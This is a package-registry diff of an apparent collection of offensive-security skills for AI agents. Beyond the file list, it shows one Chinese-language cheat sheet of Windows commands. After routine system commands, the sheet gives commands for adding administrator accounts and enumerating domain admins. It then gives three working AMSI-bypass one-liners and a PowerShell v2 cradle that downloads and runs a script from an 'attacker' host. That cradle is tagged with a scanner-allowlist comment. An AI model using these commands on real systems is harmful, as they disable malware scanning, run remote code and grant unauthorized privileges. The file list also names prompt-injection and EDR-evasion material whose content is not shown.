opencode-skills-collection 4.0.42 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (297) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +49 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/lore/SKILL.md +104 -298
  95. package/bundled-skills/lore/references/audit-template.md +21 -4
  96. package/bundled-skills/lore/references/compatibility.md +51 -121
  97. package/bundled-skills/lore/references/config.md +22 -23
  98. package/bundled-skills/lore/references/entry-format.md +33 -3
  99. package/bundled-skills/lore/references/history-command.md +98 -2
  100. package/bundled-skills/lore/references/platform-mirrors.md +45 -16
  101. package/bundled-skills/lore/references/stale-new-markers.md +10 -8
  102. package/bundled-skills/lore/references/summary-template.md +8 -1
  103. package/bundled-skills/lore/references/workflows.md +192 -0
  104. package/bundled-skills/lore/scripts/README.md +14 -13
  105. package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
  106. package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
  107. package/bundled-skills/lore/scripts/find_stale.py +68 -16
  108. package/bundled-skills/lore/scripts/history.py +235 -23
  109. package/bundled-skills/lore/scripts/id_hash.py +7 -4
  110. package/bundled-skills/lore/scripts/list_entries.py +82 -13
  111. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  112. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  113. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  114. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  115. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  116. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  117. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  118. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  119. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  120. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  121. package/bundled-skills/muapi-media/SKILL.md +311 -0
  122. package/bundled-skills/ot-ics/SKILL.md +117 -0
  123. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  124. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  125. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  126. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  127. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  128. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  129. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  130. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  131. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  132. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  133. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  134. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  135. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  136. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  137. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  138. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  139. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  140. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  141. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  142. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  143. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  144. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  145. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  146. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  147. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  148. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  149. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  218. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  219. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  220. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  221. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  222. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  223. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  224. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  225. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  226. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  227. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  228. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  229. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  230. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  231. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  232. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  233. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  234. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  235. package/bundled-skills/poka-yoke/SKILL.md +172 -0
  236. package/bundled-skills/project-state-governor/SKILL.md +1 -1
  237. package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
  238. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  239. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  240. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  241. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  242. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  243. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  244. package/bundled-skills/radare2/SKILL.md +460 -0
  245. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  246. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  247. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  248. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  249. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  250. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  251. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  252. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  253. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  254. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  255. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  256. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  257. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  258. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  259. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  260. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  261. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  262. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  263. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  264. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  265. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  266. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  267. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  268. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  269. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  270. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  271. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  272. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  273. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  274. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  275. package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
  276. package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
  277. package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
  278. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  279. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  280. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  281. package/bundled-skills/thick-client/SKILL.md +104 -0
  282. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  283. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  284. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  285. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  286. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  287. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  288. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  289. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  290. package/bundled-skills/windows-ad/SKILL.md +109 -0
  291. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  292. package/package.json +1 -1
  293. package/skills_index.json +1281 -3
  294. package/bundled-skills/lore/README.md +0 -386
  295. package/bundled-skills/lore/README.zh-CN.md +0 -386
  296. package/bundled-skills/lore/WORKFLOWS.md +0 -216
  297. package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
@@ -0,0 +1,410 @@
1
+ # 系统命令
2
+
3
+ _8 条工具命令_
4
+
5
+ ### Windows CMD命令 `windows-cmd`
6
+ _Windows系统常用命令_
7
+
8
+ **Step 0**
9
+ > 获取系统信息
10
+ _platform: windows_
11
+ ```
12
+ systeminfo
13
+ ver
14
+ hostname
15
+ ```
16
+
17
+ **Step 0**
18
+ > 用户管理命令
19
+ _platform: windows_
20
+ ```
21
+ net user
22
+ net user username password /add
23
+ net localgroup administrators username /add
24
+ ```
25
+
26
+ **Step 0**
27
+ > 网络配置信息
28
+ _platform: windows_
29
+ ```
30
+ ipconfig /all
31
+ netstat -ano
32
+ netstat -anob
33
+ route print
34
+ arp -a
35
+ ```
36
+
37
+ **Step 0**
38
+ > 进程管理命令
39
+ _platform: windows_
40
+ ```
41
+ tasklist
42
+ taskkill /PID pid /F
43
+ wmic process list full
44
+ ```
45
+
46
+ **Step 0**
47
+ > 服务管理命令
48
+ _platform: windows_
49
+ ```
50
+ sc query
51
+ sc start servicename
52
+ sc stop servicename
53
+ net start
54
+ ```
55
+
56
+ **Step 0**
57
+ > 文件操作命令
58
+ _platform: windows_
59
+ ```
60
+ dir /s /b c:\*.txt
61
+ type filename
62
+ find "string" filename
63
+ icacls filename
64
+ ```
65
+
66
+ **Step 0**
67
+ > 注册表操作
68
+ _platform: windows_
69
+ ```
70
+ reg query HKLM\Software
71
+ reg add HKLM\Software\MyKey /v Value /t REG_SZ /d "Data" /f
72
+ reg delete HKLM\Software\MyKey /f
73
+ ```
74
+
75
+ **Step 0**
76
+ > 防火墙配置
77
+ _platform: windows_
78
+ ```
79
+ netsh advfirewall show allprofiles
80
+ netsh advfirewall firewall add rule name="Allow Port" dir=in action=allow protocol=tcp localport=8080
81
+ ```
82
+
83
+ ---
84
+
85
+ ### NET命令集合 `net-commands`
86
+ _Windows NET命令完整集合_
87
+
88
+ **Step 0**
89
+ > 列出所有用户
90
+ _platform: windows_
91
+ ```
92
+ net user
93
+ ```
94
+
95
+ **Step 0**
96
+ > 查看用户详细信息
97
+ _platform: windows_
98
+ ```
99
+ net user username
100
+ ```
101
+
102
+ **Step 0**
103
+ > 添加新用户
104
+ _platform: windows_
105
+ ```
106
+ net user username password /add
107
+ ```
108
+
109
+ **Step 0**
110
+ > 删除用户
111
+ _platform: windows_
112
+ ```
113
+ net user username /delete
114
+ ```
115
+
116
+ **Step 0**
117
+ > 列出所有本地组
118
+ _platform: windows_
119
+ ```
120
+ net localgroup
121
+ ```
122
+
123
+ **Step 0**
124
+ > 将用户添加到管理员组
125
+ _platform: windows_
126
+ ```
127
+ net localgroup administrators username /add
128
+ ```
129
+
130
+ **Step 0**
131
+ > 列出域用户
132
+ _platform: windows_
133
+ ```
134
+ net user /domain
135
+ ```
136
+
137
+ **Step 0**
138
+ > 列出域管理员
139
+ _platform: windows_
140
+ ```
141
+ net group "Domain Admins" /domain
142
+ ```
143
+
144
+ **Step 0**
145
+ > 列出共享资源
146
+ _platform: windows_
147
+ ```
148
+ net share
149
+ ```
150
+
151
+ **Step 0**
152
+ > 创建共享
153
+ _platform: windows_
154
+ ```
155
+ net share sharename=C:\path /grant:everyone,full
156
+ ```
157
+
158
+ **Step 0**
159
+ > 列出当前会话
160
+ _platform: windows_
161
+ ```
162
+ net session
163
+ ```
164
+
165
+ **Step 0**
166
+ > 连接网络共享
167
+ _platform: windows_
168
+ ```
169
+ net use \\target\share password /user:domain\user
170
+ ```
171
+
172
+ ---
173
+
174
+ ### PowerShell AMSI绕过 `powershell-amsi`
175
+ _Windows AMSI(反恶意软件扫描接口)绕过技术集合_
176
+
177
+ **Step 0**
178
+ > 通过反射修改amsiInitFailed标志位
179
+ _platform: windows_
180
+ ```
181
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
182
+ ```
183
+
184
+ **Step 0**
185
+ > 字符串拼接绕过AMSI签名检测
186
+ _platform: windows_
187
+ ```
188
+ $a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$b=$a.GetField('am'+'siIn'+'itFa'+'iled','NonPublic,Static');$b.SetValue($null,$true)
189
+ ```
190
+
191
+ **Step 0**
192
+ > 直接修改内存中的AMSI缓冲区
193
+ _platform: windows_
194
+ ```
195
+ $w='System.Management.Automation.A'+'msiUtils';[Runtime.InteropServices.Marshal]::WriteByte(([Ref].Assembly.GetType($w).GetField('a'+'msiSession',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null)),0x80)
196
+ ```
197
+
198
+ **Step 0**
199
+ > 使用PowerShell v2(无AMSI)运行脚本
200
+ _platform: windows_
201
+ ```
202
+ powershell -version 2 -command "IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')" # security-allowlist: SEC005
203
+ ```
204
+
205
+ ---
206
+
207
+ ### WMIC命令 `wmic-cmd`
208
+ _Windows Management Instrumentation命令行工具_
209
+
210
+ **Step 0**
211
+ > 获取操作系统和计算机信息
212
+ _platform: windows_
213
+ ```
214
+ wmic os get Caption,Version,BuildNumber,OSArchitecture
215
+ wmic computersystem get Name,Domain,Manufacturer,Model
216
+ ```
217
+ **语法解析:**
218
+ - `wmic` — WMI命令行工具 _command_
219
+ - `os get` — 查询操作系统对象属性 _parameter_
220
+
